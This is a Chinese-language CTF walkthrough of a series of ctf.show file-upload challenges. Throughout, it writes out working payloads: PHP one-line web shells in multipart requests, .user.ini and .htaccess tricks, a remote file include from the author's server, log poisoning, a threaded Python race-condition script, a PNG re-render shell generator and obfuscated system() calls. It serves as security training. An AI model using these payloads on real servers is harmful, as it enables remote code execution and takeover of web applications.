前端检测,抓包改后缀。
直接传
php2, php3, php4, php5, phps, pht, phtm, phtml
经过测试全都不行。因此环境是nginx不是apache,所以.htaccess也不行。访问一下/upload/目录,发现页面存在,经过测试,/upload/index.php存在,因此想到上传.user.ini
经过测试,文件里不能有php,而且对后缀进行了过滤,同样利用.user.ini,文件内容的过滤则利用PHP的短标签:=
即可:
同上。
------WebKitFormBoundaryUpTShwppxfZXSbY7
Content-Disposition: form-data; name="file"; filename="1.feng"
Content-Type: image/png
GIF89a
<?= eval($_POST[0]);?>
------WebKitFormBoundaryUpTShwppxfZXSbY7--
------WebKitFormBoundaryUpTShwppxfZXSbY7
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png
GIF89a
auto_prepend_file="1.feng"
------WebKitFormBoundaryUpTShwppxfZXSbY7--
另外羽师傅的WP里面提到了4种php的标签,摘录如下:
1、
echo '123';?>
前提是开启配置参数short_open_tags=on
2、
=(表达式)?> 等价于 echo (表达式)?>
不需要开启参数设置
3、
<% echo '123';%>
前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。
4、
<script language=”php”>echo '123'; </script>
不需要修改参数开关,但是只能在7.0以下可用。
所以如果是php7以下的版本,思路就可以更开拓一些了。
经过测试,发现过滤了[和],拿{}绕过即可。
在之前的基础上把{}和分号也给过滤了,所以直接读flag.php。没有分号的话,直接最后面拿?>闭合就可以了。
------WebKitFormBoundary949cEK9448VGhzDU
Content-Disposition: form-data; name="file"; filename="1.feng"
Content-Type: image/png
GIF89a
<?= system("cat /var/www/html/fl*")?>
------WebKitFormBoundary949cEK9448VGhzDU--
同上
把括号也给过滤了,用反引号即可。
反引号和空格也给ban了,想着文件包含,远程文件包含马试试,马写自己服务器上,然后远程包含:
GIF89a
<?=include"http://118.***.***.***/feng"?>
成功执行命令。
再尝试包含一下日志文件,发现log也被ban了,所以不行。
不过其实还是可以的,是我太菜了,可以这样:
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
学会变通!
好像增加了对于图片的判断,加上图片头即可。
又用到了前面的session文件包含。具体参考利用session.upload_progress进行文件包含和反序列化渗透
参考羽师傅的脚本,自己模仿着写了一个:
import requests
import threading
url="http://4101ed9a-5734-4c58-a661-5697ba7b2325.chall.ctf.show"
data={
"PHP_SESSION_UPLOAD_PROGRESS":''
}
files={
"file":"feng.txt"
}
cookies={
"PHPSESSID":"feng"
}
def upload():
global url,data,files,cookies
while 1:
requests.post(url=url,data=data,files=files,cookies=cookies)
def getFlag():
global url
while 1:
r=requests.get(url=url+"/upload/index.php").text
if "flag{" in r or "ctfshow{" in r:
print(r)
t1=threading.Thread(target=upload,args=())
t2=threading.Thread(target=getFlag,args=())
t1.start()
t2.start()
同上,但是条件竞争的概率特别特别特别低。。。也可能是我网速的问题。
考察的是二次渲染,自己也是很菜,第一次遇到二次渲染,参考了羽师傅推荐的文章:Upload-Labs第Pass-16通关(二次渲染绕过) 详解
上传png的图片马,脚本如下:
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
$_GET[0]($_POST[1]);?>
*/
?>
本地用脚本改一下图片,然后上传上去,再下载就可以执行命令:
看到download.php?image=,怀疑可能是文件包含啥的,所以可以执行命令,不然的话也还是不行的。不过根据源代码,也确实是文件包含:
$file= $_GET['image'];
$file = strrev($file);
$ext = strrev(substr($file, 0,4));
if($ext==='.png' && file_exists("./upload/".strrev($file))){
header('Content-Type:image/png');
include("./upload/".strrev($file));
}else{
echo "图片错误";
}}
jpg图片的二次渲染,用上一题的文章里的处理jpg图片的脚本即可,不过需要找一个合适的jpg图片才行,我试了三四十张图片都不行,吐了,放弃。
zip文件的上传,但是没有任何的检测,直接把php一句话木马的后缀改成zip,然后上传即可。
看到httpd,和apache有关。提到apache会想到.htaccess,因此上传.htaccess 解析.jpg就可以了:
AddType application/x-httpd-php .jpg
过滤了eval和system,那么用反引号即可:
<?php echo `cat /var/www/html/*`;?>
看了一下羽师傅的WP,还给了很多的绕过姿势,学习了:
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
好难传,bp抓包都抓不到,一直说类型不对,传zip终于能抓到包,但是还说类型不对。
再把Content-Type改成image/png就可以正常传php了,不过这题过滤的实在太多,因为上传.user.ini包含日志文件,UA头里面写马,然后上传的那个php文件没什么用,只是为了配合.user.ini。
------WebKitFormBoundaryO73DVbSX5G6XGfNN
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png
auto_prepend_file="/var/log/nginx/access.log"
------WebKitFormBoundaryO73DVbSX5G6XGfNN--
------WebKitFormBoundaryO73DVbSX5G6XGfNN
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png
auto_prepend_file="/var/log/nginx/access.log"
------WebKitFormBoundaryO73DVbSX5G6XGfNN--
UA头里面写马,然后命令执行即可。
同上